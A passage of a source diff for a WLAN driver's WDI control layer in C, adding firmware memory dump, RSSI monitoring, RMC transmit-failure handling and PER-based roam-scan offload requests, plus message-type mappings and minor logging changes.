WLAN_FEATURE_ROAM_SCAN_OFFLOAD + CASE_RETURN_STRING (WDI_PER_ROAM_SCAN_OFFLOAD_RSP); + CASE_RETURN_STRING (WDI_PER_ROAM_SCAN_TRIGGER_RSP); +#endif default: return "Unknown WDI MessageId"; } @@ -1447,6 +1578,9 @@ void WDI_TraceHostFWCapabilities(tANI_U32 *capabilityBitmap) case EXTENDED_SCAN: snprintf(pCapStr, sizeof("EXTENDED_SCAN"), "%s", "EXTENDED_SCAN"); pCapStr += strlen("EXTENDED_SCAN"); break; + case EXT_SCAN_ENHANCED: snprintf(pCapStr, sizeof("EXT_SCAN_ENHANCED"), "%s", "EXT_SCAN_ENHANCED"); + pCapStr += strlen("EXT_SCAN_ENHANCED"); + break; #endif case MU_MIMO: snprintf(pCapStr, sizeof("MU_MIMO"), "%s", "MU_MIMO"); pCapStr += strlen("MU_MIMO"); @@ -1484,8 +1618,29 @@ void WDI_TraceHostFWCapabilities(tANI_U32 *capabilityBitmap) case LOGGING_ENHANCEMENT: snprintf(pCapStr, sizeof("LOGGING_ENHANCEMENT"), "%s", "LOGGING_ENHANCEMENT"); pCapStr += strlen("LOGGING_ENHANCEMENT"); break; - - + case MEMORY_DUMP_SUPPORTED:snprintf(pCapStr, sizeof("FW_MEM_DUMP_LOGGING"), "%s", "FW_MEM_DUMP_LOGGING"); + pCapStr += strlen("FW_MEM_DUMP_LOGGING"); + break; + case PER_PKT_STATS_SUPPORTED: snprintf(pCapStr, sizeof("PER_PKT_STATS_SUPPORTED"), "%s", "PER_PKT_STATS_SUPPORTED"); + pCapStr += strlen("PER_PKT_STATS_SUPPORTED"); + break; + case EXT_LL_STAT: snprintf(pCapStr, sizeof("EXT_LL_STAT"), "%s", "EXT_LL_STAT"); + pCapStr += strlen("EXT_LL_STAT"); + break; + case RTT3: snprintf(pCapStr, sizeof("RTT3"), "%s", "RTT3"); + pCapStr += strlen("RTT3"); + break; + case ANTENNA_DIVERSITY_SELECTION: + snprintf(pCapStr, + sizeof("ANTENNA_DIVERSITY_SELECTION"), "%s", + "ANTENNA_DIVERSITY_SELECTION"); + pCapStr += strlen("ANTENNA_DIVERSITY_SELECTION"); + break; + case PER_BASED_ROAMING: + snprintf(pCapStr, sizeof("PER_BASED_ROAMING"), + "%s", "PER_BASED_ROAMING"); + pCapStr += strlen("PER_BASED_ROAMING"); + break; } *pCapStr++ = ','; *pCapStr++ = ' '; @@ -1552,6 +1707,30 @@ static char *WDI_getHALStatusMsgString(wpt_uint16 halStatusId) } } +/** + * wdi_state_info_dump() - prints state information of wdi layer + */ +static void wdi_state_info_dump(void) +{ + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, + "%s pending commands: %d", __func__, + gWDICb.wptPendingQueue.count); + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, + "uGlobalState %d wdiExpectedResponse: %d", + gWDICb.uGlobalState, gWDICb.wdiExpectedResponse); +} + + +/** + * wdi_register_debug_callback() - registration function for wdi layer + * to print WDI state information + */ +static void wdi_register_debug_callback(void) +{ + vos_register_debug_callback(VOS_MODULE_ID_WDI, &wdi_state_info_dump); +} + + /*======================================================================== INITIALIZATION APIs @@ -1787,6 +1966,9 @@ WDI_Init pWdiDevCapability->bFrameXtlSupported = eWLAN_PAL_FALSE; pWdiDevCapability->ucMaxSTASupported = gWDICb.ucMaxStations; pWdiDevCapability->ucMaxBSSSupported = gWDICb.ucMaxBssids; + + wdi_register_debug_callback(); + return WDI_STATUS_SUCCESS; /* ERROR handlers @@ -4245,7 +4427,7 @@ WDI_SetUapsdAcParamsReq WDI_Status WDI_FWLoggingDXEdoneInd ( - WDI_FWLoggingDXEdoneIndInfoType* pwdiFWLoggingDXEdoneInd + wpt_uint32 data ) { @@ -4267,8 +4449,8 @@ WDI_FWLoggingDXEdoneInd Fill in Event data and post to the Main FSM ------------------------------------------------------------------------*/ wdiEventData.wdiRequest = WDI_FW_LOGGING_DXE_DONE_IND; - wdiEventData.pEventData = pwdiFWLoggingDXEdoneInd; - wdiEventData.uEventDataSize = sizeof(*pwdiFWLoggingDXEdoneInd); + wdiEventData.pEventData = (void *)&data; + wdiEventData.uEventDataSize = sizeof(wpt_uint32); wdiEventData.pCBfnc = NULL; wdiEventData.pUserData = NULL; @@ -4448,6 +4630,180 @@ WDI_FWLoggingInitReq return WDI_PostMainEvent(&gWDICb, WDI_REQUEST_EVENT, &wdiEventData); } + +/** + @brief WDI_FwrMemDumpReq will be called when the upper + MAC wants to get fwr mem dump. Upon the call of + this API the WLAN DAL will pack and send a HAL + Frame logging init request message to + the lower RIVA sub-system. + + In state BUSY this request will be queued. Request won't + be allowed in any other state. + + + @param pWdiFwrMemDumpReq: the fwr mem dump req params + as specified by the Device Interface + + wdiFWLoggingInitReqCb: callback for passing back the + response of the frame logging init operation received + from the device + + pUserData: user data will be passed back with the + callback + + @return Result of the function call +*/ + +WDI_Status +WDI_FwrMemDumpReq + +( + WDI_FwrMemDumpReqType *pwdiFwrMemDumpReqInfo, + WDI_FwrMemDumpCb wdiFwrMemDumpRspCb, + void* pUserData +) +{ + WDI_EventInfoType wdiEventData; + + /*------------------------------------------------------------------------ + Sanity Check + ------------------------------------------------------------------------*/ + if ( eWLAN_PAL_FALSE == gWDIInitialized ) + { + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, + "WDI API call before module is initialized - Fail request"); + + return WDI_STATUS_E_NOT_ALLOWED; + } + + /*------------------------------------------------------------------------ + Fill in Event data and post to the Main FSM + ------------------------------------------------------------------------*/ + wdiEventData.wdiRequest = WDI_FWR_MEM_DUMP_REQ; + wdiEventData.pEventData = pwdiFwrMemDumpReqInfo; + wdiEventData.uEventDataSize = sizeof(WDI_FwrMemDumpReqType); + wdiEventData.pCBfnc = wdiFwrMemDumpRspCb; + wdiEventData.pUserData = pUserData; + + return WDI_PostMainEvent(&gWDICb, WDI_REQUEST_EVENT, &wdiEventData); +} + + + +/** + @brief WDI_StartRssiMonitorReq will be called when the upper + MAC wants to initialize Rssi Monitor on a bssid. + Upon the call of this API the WLAN DAL will pack and + send a HAL Rssi Monitor init request message to + the lower RIVA sub-system. + + In state BUSY this request will be queued. Request won't + be allowed in any other state. + + + @param pwdiRssiMonitorInfo: the Rssi Monitor params + as specified by the Device Interface + + wdiRssiMonitorStartRspCb: callback for passing back the + response of the rssi monitor operation received + from the device + + pUserData: user data will be passed back with the + callback + + @return Result of the function call +*/ +WDI_Status +WDI_StartRssiMonitorReq +( + WDI_RssiMonitorReqInfoType *pwdiRssiMonitorInfo, + WDI_RssiMonitorStartRspCb wdiRssiMonitorStartRspCb, + void* pUserData +) +{ + WDI_EventInfoType wdiEventData; + + /*------------------------------------------------------------------------ + Sanity Check + ------------------------------------------------------------------------*/ + if ( eWLAN_PAL_FALSE == gWDIInitialized ) + { + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, + "WDI API call before module is initialized - Fail request"); + + return WDI_STATUS_E_NOT_ALLOWED; + } + + /*------------------------------------------------------------------------ + Fill in Event data and post to the Main FSM + ------------------------------------------------------------------------*/ + wdiEventData.wdiRequest = WDI_START_RSSI_MONITOR_REQ; + wdiEventData.pEventData = pwdiRssiMonitorInfo; + wdiEventData.uEventDataSize = sizeof(*pwdiRssiMonitorInfo); + wdiEventData.pCBfnc = wdiRssiMonitorStartRspCb; + wdiEventData.pUserData = pUserData; + + return WDI_PostMainEvent(&gWDICb, WDI_REQUEST_EVENT, &wdiEventData); +} + +/** + @brief WDI_StopRssiMonitorReq will be called when the upper + MAC wants to stop Rssi Monitor on a bssid. + Upon the call of this API the WLAN DAL will pack and + send a HAL Rssi Monitor stop request message to + the lower RIVA sub-system. + + In state BUSY this request will be queued. Request won't + be allowed in any other state. + + + @param pwdiRssiMonitorInfo: the Rssi Monitor params + as specified by the Device Interface + + wdiRssiMonitorStopRspCb: callback for passing back the + response of the rssi monitor operation received + from the device + + pUserData: user data will be passed back with the + callback + + @return Result of the function call +*/ +WDI_Status +WDI_StopRssiMonitorReq +( + WDI_RssiMonitorReqInfoType *pwdiRssiMonitorInfo, + WDI_RssiMonitorStopRspCb wdiRssiMonitorStopRspCb, + void* pUserData +) +{ + WDI_EventInfoType wdiEventData; + + /*------------------------------------------------------------------------ + Sanity Check + ------------------------------------------------------------------------*/ + if ( eWLAN_PAL_FALSE == gWDIInitialized ) + { + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, + "WDI API call before module is initialized - Fail request"); + + return WDI_STATUS_E_NOT_ALLOWED; + } + + /*------------------------------------------------------------------------ + Fill in Event data and post to the Main FSM + ------------------------------------------------------------------------*/ + wdiEventData.wdiRequest = WDI_STOP_RSSI_MONITOR_REQ; + wdiEventData.pEventData = pwdiRssiMonitorInfo; + wdiEventData.uEventDataSize = sizeof(*pwdiRssiMonitorInfo); + wdiEventData.pCBfnc = wdiRssiMonitorStopRspCb; + wdiEventData.pUserData = pUserData; + + return WDI_PostMainEvent(&gWDICb, WDI_REQUEST_EVENT, &wdiEventData); +} + + /** @brief WDI_ConfigureRxpFilterReq will be called when the upper MAC wants to set/reset the RXP filters for received pkts @@ -5843,6 +6199,7 @@ WDI_AddBAReq @param wdiAddBAReqParams: the add BA parameters as specified by the Device Interface + baReqParamUserDataSize: user data size of wdiAddBAReqParams wdiAddBARspCb: callback for passing back the response of the add BA operation received from the device @@ -5856,6 +6213,7 @@ WDI_Status WDI_TriggerBAReq ( WDI_TriggerBAReqParamsType* pwdiTriggerBAReqParams, + wpt_uint8 baReqParamUserDataSize, WDI_TriggerBARspCb wdiTriggerBARspCb, void* pUserData ) @@ -5879,7 +6237,8 @@ WDI_TriggerBAReq ------------------------------------------------------------------------*/ wdiEventData.wdiRequest = WDI_TRIGGER_BA_REQ; wdiEventData.pEventData = pwdiTriggerBAReqParams; - wdiEventData.uEventDataSize = sizeof(*pwdiTriggerBAReqParams); + wdiEventData.uEventDataSize = sizeof(*pwdiTriggerBAReqParams) + + baReqParamUserDataSize; wdiEventData.pCBfnc = wdiTriggerBARspCb; wdiEventData.pUserData = pUserData; @@ -16399,7 +16758,7 @@ WDI_ProcessInitScanRsp WDI_ASSERT(0); } } - else + else if (WDI_STATUS_SUCCESS != wdiStatus) { WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, "Error returned WDI_ProcessInitScanRspi:%d BMPS%d", @@ -17720,7 +18079,7 @@ WDI_ProcessLLStatsSetRsp { WDI_LLStatsSetRspCb wdiLLStatsSetRspCb; - WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, "%s: Enter ", __func__); /*------------------------------------------------------------------------- Sanity check @@ -17761,7 +18120,7 @@ WDI_ProcessLLStatsGetRsp WDI_ASSERT(0); return WDI_STATUS_E_FAILURE; } - WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, "%s: Enter ", __func__); wdiLLStatsGetRspCb = (WDI_LLStatsGetRspCb)pWDICtx->pfncRspCB; @@ -17792,7 +18151,7 @@ WDI_ProcessLLStatsClearRsp return WDI_STATUS_E_FAILURE; } - WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, "%s: CLEAR RESPONSE CALL BACK", __func__); wdiLLStatsClearRspCb = (WDI_LLStatsClearRspCb)pWDICtx->pfncRspCB; @@ -18420,8 +18779,12 @@ WDI_ProcessStartOemDataRsp return WDI_STATUS_E_FAILURE; } + wpalMemoryZero(wdiOemDataRspParams->oemDataRsp, OEM_DATA_RSP_SIZE); + /* Populate WDI structure members */ - wpalMemoryCopy(wdiOemDataRspParams->oemDataRsp, halStartOemDataRspParams->oemDataRsp, OEM_DATA_RSP_SIZE); + wpalMemoryCopy(wdiOemDataRspParams->oemDataRsp, + halStartOemDataRspParams->oemDataRsp, + pEventData->uEventDataSize); /*Notify UMAC*/ wdiOemDataRspCb(wdiOemDataRspParams, pWDICtx->pRspCBUserData); @@ -20493,7 +20856,7 @@ WDI_ProcessKeepAliveRsp eHalStatus halStatus; WDI_KeepAliveCb wdiKeepAliveCb; /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ - WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_INFO, "Received WDI_ProcessKeepAliveRsp Callback from HAL"); @@ -21605,6 +21968,64 @@ WDI_ProcessTdlsInd return WDI_STATUS_SUCCESS; }/*WDI_ProcessTdlsInd*/ #endif + +#ifdef WLAN_FEATURE_RMC +/** +*@brief Process Tx Fail Indication + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ +WDI_Status +WDI_ProcessTXFailInd +( + WDI_ControlBlockType* pWDICtx, + WDI_EventInfoType* pEventData +) +{ + WDI_LowLevelIndType wdiInd; + tHalTXFailIndMsg halTXFailIndMsg; + /*- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ + + /*------------------------------------------------------------------------- + Sanity check + -------------------------------------------------------------------------*/ + if (( NULL == pWDICtx ) || ( NULL == pEventData ) || + ( NULL == pEventData->pEventData )) + { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: Invalid parameters", __func__); + WDI_ASSERT( 0 ); + return WDI_STATUS_E_FAILURE; + } + /*------------------------------------------------------------------------- + Extract indication and send it to UMAC + -------------------------------------------------------------------------*/ + wpalMemoryCopy( &halTXFailIndMsg.txFailIndParams, + pEventData->pEventData, + sizeof(halTXFailIndMsg.txFailIndParams) ); + + /*Fill in the indication parameters*/ + wdiInd.wdiIndicationType = WDI_TX_FAIL_IND; + + wdiInd.wdiIndicationData.wdiTXFailInd.seqNo + = halTXFailIndMsg.txFailIndParams.seqNo; + + wpalMemoryCopy(wdiInd.wdiIndicationData.wdiTXFailInd.macAddr, + halTXFailIndMsg.txFailIndParams.macAddr, + sizeof(wdiInd.wdiIndicationData.wdiTXFailInd.macAddr)); + + /*Notify UMAC*/ + if (pWDICtx->wdiLowLevelIndCB) + pWDICtx->wdiLowLevelIndCB( &wdiInd, pWDICtx->pIndUserData ); + + return WDI_STATUS_SUCCESS; +} +#endif /* WLAN_FEATURE_RMC */ + /** *@brief Process Noa Start Indication function (called when an indication of this kind is being received over the @@ -22408,6 +22829,7 @@ WDI_GetMessageBuffer halMsgHeader.msgLen = sizeof(halMsgHeader) + usBufferLen; *pusDataOffset = sizeof(halMsgHeader); + wpalMemoryCopy(*pMsgBuffer, &halMsgHeader, sizeof(halMsgHeader)); return WDI_STATUS_SUCCESS; @@ -22958,7 +23380,7 @@ WDI_PALCtrlMsgCB }/*switch ( pEventData->wdiRequest )*/ if (!(WDI_STATUS_SUCCESS == wdiStatus || WDI_STATUS_PENDING == wdiStatus - || WDI_STATUS_SUCCESS_SYNC == wdiStatus)) + || WDI_STATUS_SUCCESS_SYNC == wdiStatus)) { WDI_ExtractRequestCBFromEvent(pEventData, &pfnReqStatusCB, &pUserData); @@ -24211,6 +24633,16 @@ WDI_2_HAL_REQ_TYPE return WLAN_HAL_ADD_PERIODIC_TX_PTRN_IND; case WDI_DEL_PERIODIC_TX_PATTERN_IND: return WLAN_HAL_DEL_PERIODIC_TX_PTRN_IND; +#ifdef WLAN_FEATURE_RMC + case WDI_RMC_RULER_REQ: + return WLAN_HAL_RMC_RULER_REQ; + case WDI_RMC_UPDATE_IND: + return WLAN_HAL_RMC_UPDATE_IND; + case WDI_HAL_IBSS_PEER_INFO_REQ: + return WLAN_HAL_GET_IBSS_PEER_INFO_REQ; +#endif /* WLAN_FEATURE_RMC */ + case WDI_RATE_UPDATE_IND: + return WLAN_HAL_RATE_UPDATE_IND; #ifdef FEATURE_WLAN_BATCH_SCAN case WDI_SET_BATCH_SCAN_REQ: @@ -24220,8 +24652,12 @@ WDI_2_HAL_REQ_TYPE case WDI_TRIGGER_BATCH_SCAN_RESULT_IND: return WLAN_HAL_BATCHSCAN_TRIGGER_RESULT_IND; #endif - case WDI_RATE_UPDATE_IND: - return WLAN_HAL_RATE_UPDATE_IND; + +#ifdef WLAN_FEATURE_RMC + case WDI_TX_FAIL_MONITOR_IND: + return WLAN_HAL_TX_FAIL_MONITOR_IND; +#endif + case WDI_START_HT40_OBSS_SCAN_IND: return WLAN_HAL_START_HT40_OBSS_SCAN_IND; case WDI_STOP_HT40_OBSS_SCAN_IND: @@ -24254,10 +24690,12 @@ WDI_2_HAL_REQ_TYPE return WLAN_HAL_BSSID_HOTLIST_SET_REQ; case WDI_EXTSCAN_RESET_BSSID_HOTLIST_REQ: return WLAN_HAL_BSSID_HOTLIST_RESET_REQ; - case WDI_EXTSCAN_SET_SIGNF_RSSI_CHANGE_REQ: - return WLAN_HAL_SIG_RSSI_SET_REQ; - case WDI_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_REQ: - return WLAN_HAL_SIG_RSSI_RESET_REQ; + case WDI_EXTSCAN_SET_SSID_HOTLIST_REQ: + return WLAN_HAL_SSID_HOTLIST_SET_REQ; + case WDI_EXTSCAN_RESET_SSID_HOTLIST_REQ: + return WLAN_HAL_SSID_HOTLIST_RESET_REQ; + case WDI_HIGH_PRIORITY_DATA_INFO_IND: + return WLAN_HAL_HIGH_PRIORITY_DATA_INFO_REQ; #endif /* WLAN_FEATURE_EXTSCAN */ case WDI_SPOOF_MAC_ADDR_REQ: return WLAN_HAL_MAC_SPOOFED_SCAN_REQ; @@ -24283,6 +24721,28 @@ WDI_2_HAL_REQ_TYPE return WLAN_HAL_FATAL_EVENT_LOGGING_REQ; case WDI_SEND_FREQ_RANGE_CONTROL_IND: return WLAN_HAL_SEND_FREQ_RANGE_CONTROL_IND; + case WDI_FWR_MEM_DUMP_REQ: + return WLAN_HAL_FW_MEMORY_DUMP_REQ; + case WDI_START_RSSI_MONITOR_REQ: + return WLAN_HAL_START_RSSI_MONITORING_REQ; + case WDI_STOP_RSSI_MONITOR_REQ: + return WLAN_HAL_STOP_RSSI_MONITORING_REQ; + case WDI_WIFI_CONFIG_SET_REQ: + return WLAN_HAL_WIFI_CONFIG_SET_PARAMS_REQ; + case WDI_START_OEM_DATA_REQ_IND_NEW: + return WLAN_HAL_START_OEM_DATA_REQ_IND_NEW; + case WDI_ANTENNA_DIVERSITY_SELECTION_REQ: + return WLAN_HAL_ANTENNA_DIVERSITY_SELECTION_REQ; + case WDI_MODIFY_ROAM_PARAMS_IND: + return WLAN_HAL_MODIFY_ROAM_PARAMS_IND; + case WDI_SET_ALLOWED_ACTION_FRAMES_IND: + return WLAN_HAL_SET_ALLOWED_ACTION_FRAMES_IND; +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + case WDI_PER_ROAM_SCAN_OFFLOAD_REQ: + return WLAN_HAL_SET_PER_ROAM_CONFIG_REQ; + case WDI_PER_ROAM_SCAN_TRIGGER_REQ: + return WLAN_HAL_PER_ROAM_SCAN_TRIGGER_REQ; +#endif default: return WLAN_HAL_MSG_MAX; } @@ -24537,6 +24997,15 @@ case WLAN_HAL_DEL_STA_SELF_RSP: case WLAN_HAL_PERIODIC_TX_PTRN_FW_IND: return WDI_HAL_PERIODIC_TX_PTRN_FW_IND; +#ifdef WLAN_FEATURE_RMC + case WLAN_HAL_RMC_RULER_RSP: + return WDI_RMC_RULER_RESP; + case WLAN_HAL_RMC_UPDATE_IND: + return WDI_RMC_UPDATE_IND_TO_HOST; + case WLAN_HAL_GET_IBSS_PEER_INFO_RSP: + return WDI_HAL_IBSS_PEER_INFO_RSP; +#endif /* WLAN_FEATURE_RMC */ + #ifdef FEATURE_WLAN_BATCH_SCAN case WLAN_HAL_BATCHSCAN_SET_RSP: return WDI_SET_BATCH_SCAN_RESP; @@ -24544,6 +25013,11 @@ case WLAN_HAL_DEL_STA_SELF_RSP: return WDI_BATCHSCAN_RESULT_IND; #endif // FEATURE_WLAN_BATCH_SCAN +#ifdef WLAN_FEATURE_RMC + case WLAN_HAL_TX_FAIL_IND: + return WDI_HAL_TX_FAIL_IND; +#endif /* WLAN_FEATURE_RMC */ + #ifdef FEATURE_WLAN_CH_AVOID case WLAN_HAL_AVOID_FREQ_RANGE_IND: return WDI_HAL_CH_AVOID_IND; @@ -24579,10 +25053,10 @@ case WLAN_HAL_DEL_STA_SELF_RSP: return WDI_EXTSCAN_SET_HOTLIST_BSSID_RSP; case WLAN_HAL_BSSID_HOTLIST_RESET_RSP: return WDI_EXTSCAN_RESET_HOTLIST_BSSID_RSP; - case WLAN_HAL_SIG_RSSI_SET_RSP: - return WDI_EXTSCAN_SET_SIGNF_RSSI_CHANGE_RSP; - case WLAN_HAL_SIG_RSSI_RESET_RSP: - return WDI_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_RSP; + case WLAN_HAL_SSID_HOTLIST_SET_RSP: + return WDI_EXTSCAN_SET_HOTLIST_SSID_RSP; + case WLAN_HAL_SSID_HOTLIST_RESET_RSP: + return WDI_EXTSCAN_RESET_HOTLIST_SSID_RSP; case WLAN_HAL_EXT_SCAN_PROGRESS_IND: return WDI_HAL_EXTSCAN_PROGRESS_IND; case WLAN_HAL_EXT_SCAN_RESULT_AVAILABLE_IND: @@ -24591,8 +25065,8 @@ case WLAN_HAL_DEL_STA_SELF_RSP: return WDI_HAL_EXTSCAN_RESULT_IND; case WLAN_HAL_BSSID_HOTLIST_RESULT_IND: return WDI_HAL_EXTSCAN_BSSID_HOTLIST_RESULT_IND; - case WLAN_HAL_SIG_RSSI_RESULT_IND: - return WDI_HAL_EXTSCAN_SIG_RSSI_RESULT_IND; + case WLAN_HAL_SSID_HOTLIST_RESULT_IND: + return WDI_HAL_EXTSCAN_SSID_HOTLIST_RESULT_IND; #endif /* WLAN_FEATURE_EXTSCAN */ case WLAN_HAL_MAC_SPOOFED_SCAN_RSP: return WDI_SPOOF_MAC_ADDR_RSP; @@ -24616,6 +25090,28 @@ case WLAN_HAL_DEL_STA_SELF_RSP: return WDI_MON_STOP_RSP; case WLAN_HAL_FATAL_EVENT_LOGGING_RSP: return WDI_FATAL_EVENT_LOGGING_RSP; + case WLAN_HAL_FW_MEMORY_DUMP_RSP: + return WDI_FWR_MEM_DUMP_RSP; + case WLAN_HAL_START_RSSI_MONITORING_RSP: + return WDI_START_RSSI_MONITOR_RSP; + case WLAN_HAL_STOP_RSSI_MONITORING_RSP: + return WDI_STOP_RSSI_MONITOR_RSP; + case WLAN_HAL_RSSI_MONITORING_IND: + return WDI_HAL_RSSI_BREACHED_IND; + case WLAN_HAL_WIFI_CONFIG_SET_PARAMS_RSP: + return WDI_WIFI_CONFIG_SET_RSP; +#ifdef FEATURE_OEM_DATA_SUPPORT + case WLAN_HAL_START_OEM_DATA_RSP_IND_NEW: + return WDI_HAL_START_OEM_DATA_RSP_IND_NEW; +#endif /* FEATURE_OEM_DATA_SUPPORT */ + case WLAN_HAL_ANTENNA_DIVERSITY_SELECTION_RSP: + return WDI_ANTENNA_DIVERSITY_SELECTION_RSP; +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + case WLAN_HAL_SET_PER_ROAM_CONFIG_RSP: + return WDI_PER_ROAM_SCAN_OFFLOAD_RSP; + case WLAN_HAL_PER_ROAM_SCAN_TRIGGER_RSP: + return WDI_PER_ROAM_SCAN_TRIGGER_RSP; +#endif default: return eDRIVER_TYPE_MAX; } @@ -25249,7 +25745,11 @@ WDI_CopyWDIConfigBSSToHALConfigBSS phalConfigBSS->dualCTSProtection = pwdiConfigBSS->ucDualCTSProtection; phalConfigBSS->ucMaxProbeRespRetryLimit = pwdiConfigBSS->ucMaxProbeRespRetryLimit; phalConfigBSS->bHiddenSSIDEn = pwdiConfigBSS->bHiddenSSIDEn; - phalConfigBSS->bProxyProbeRespEn = pwdiConfigBSS->bProxyProbeRespEn; + + if (vos_is_probe_rsp_offload_enabled()) + phalConfigBSS->bProxyProbeRespEn = 1; + else + phalConfigBSS->bProxyProbeRespEn = pwdiConfigBSS->bProxyProbeRespEn; #ifdef WLAN_FEATURE_VOWIFI phalConfigBSS->maxTxPower = pwdiConfigBSS->cMaxTxPower; @@ -26372,6 +26872,53 @@ WDI_RoamScanOffloadReq return WDI_PostMainEvent(&gWDICb, WDI_REQUEST_EVENT, &wdiEventData); } +WDI_Status +WDI_PERRoamScanOffloadReq(WDI_PERRoamOffloadScanInfo + *pwdiPERRoamScanOffloadReqParams, + WDI_PERRoamOffloadScanCb wdiPERRoamOffloadScancb, + void *pUserData) +{ + WDI_EventInfoType wdiEventData = {{0}}; + + if (eWLAN_PAL_FALSE == gWDIInitialized) { + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, + "WDI API call before module is initialized - Fail request"); + + return WDI_STATUS_E_NOT_ALLOWED; + } + + wdiEventData.wdiRequest = WDI_PER_ROAM_SCAN_OFFLOAD_REQ; + wdiEventData.pEventData = pwdiPERRoamScanOffloadReqParams; + wdiEventData.uEventDataSize = sizeof(*pwdiPERRoamScanOffloadReqParams); + wdiEventData.pCBfnc = wdiPERRoamOffloadScancb; + wdiEventData.pUserData = pUserData; + + return WDI_PostMainEvent(&gWDICb, WDI_REQUEST_EVENT, &wdiEventData); +} + +WDI_Status +WDI_PERRoamScanTriggerReq(WDI_PERRoamTriggerScanInfo + *pwdiPERRoamScanTriggerReqParams, + WDI_PERRoamTriggerScanCb wdiPERRoamTriggerScancb, + void *pUserData) +{ + WDI_EventInfoType wdiEventData = {{0}}; + if (eWLAN_PAL_FALSE == gWDIInitialized) { + WPAL_TRACE(eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_ERROR, + "WDI API call before module is initialized - Fail request"); + + return WDI_STATUS_E_NOT_ALLOWED; + } + + wdiEventData.wdiRequest = WDI_PER_ROAM_SCAN_TRIGGER_REQ; + wdiEventData.pEventData = pwdiPERRoamScanTriggerReqParams; + wdiEventData.uEventDataSize = sizeof(*pwdiPERRoamScanTriggerReqParams); + wdiEventData.pCBfnc = wdiPERRoamTriggerScancb; + wdiEventData.pUserData = pUserData; + + return WDI_PostMainEvent(&gWDICb, WDI_REQUEST_EVENT, &wdiEventData); +} + void WDI_wdiEdTypeEncToEdTypeEnc(tEdType *EdType, WDI_EdType wdiEdType) { @@ -26608,6 +27155,142 @@ WDI_ProcessRoamScanOffloadReq wdiRoamOffloadScancb, pEventData->pUserData, WDI_ROAM_SCAN_OFFLOAD_RESP); } + +WDI_Status +WDI_ProcessPERRoamScanOffloadReq(WDI_ControlBlockType *pWDICtx, + WDI_EventInfoType *pEventData) +{ + wpt_uint16 usSendSize = 0; + wpt_uint16 usDataOffset = 0; + wpt_uint8 *pSendBuffer = NULL; + WDI_PERRoamOffloadScanInfo *wdiPERRoamOffloadReq = NULL; + WDI_PERRoamOffloadScanCb wdiPERRoamOffloadScancb = NULL; + tSetPerRoamConfigReq halPERRoamConfigReq; + + if (!pEventData) { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: *pEventdata is null", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + wdiPERRoamOffloadReq = (WDI_PERRoamOffloadScanInfo *)pEventData->pEventData; + wdiPERRoamOffloadScancb = (WDI_PERRoamOffloadScanCb)pEventData->pCBfnc; + + if (!wdiPERRoamOffloadReq || !wdiPERRoamOffloadScancb) { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_WARN, + "%s: Invalid parameters", __func__); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + if ((WDI_STATUS_SUCCESS != WDI_GetMessageBuffer(pWDICtx, + WDI_PER_ROAM_SCAN_OFFLOAD_REQ, + sizeof(halPERRoamConfigReq.perRoamConfigParams), + &pSendBuffer, &usDataOffset, &usSendSize))|| + (usSendSize < (usDataOffset + + sizeof(halPERRoamConfigReq.perRoamConfigParams)))) { + WPAL_TRACE( eWLAN_MODULE_DAL_CTRL, eWLAN_PAL_TRACE_LEVEL_FATAL, + "Unable to get send buffer halPERRoamConfigReq Req"); + WDI_ASSERT(0); + return WDI_STATUS_E_FAILURE; + } + + halPERRoamConfigReq.perRoamConfigParams.request_id = + wdiPERRoamOffloadReq->requestId; + halPERRoamConfigReq.perRoamConfigParams.waitPeriodForNextPERScan = + wdiPERRoamOffloadReq->waitPeriodForNextPERScan; + halPERRoamConfigReq.perRoamConfigParams.rateUpThreshold = + wdiPERRoamOffloadReq->rateUpThreshold; + halPERRoamConfigReq.perRoamConfigParams.rateDownThreshold = + wdiPERRoamOffloadReq->rateDownThreshold; + halPERRoamConfigReq.perRoamConfigParams.isPERRoamCCAEnabled = + wdiPERRoamOffloadReq->isPERRoamCCAEnabled; + halPERRoamConfigReq.perRoamConfigParams.PERRoamFullScanThreshold = + wdiPERRoamOffloadReq->PERRoamFullScanThreshold; + 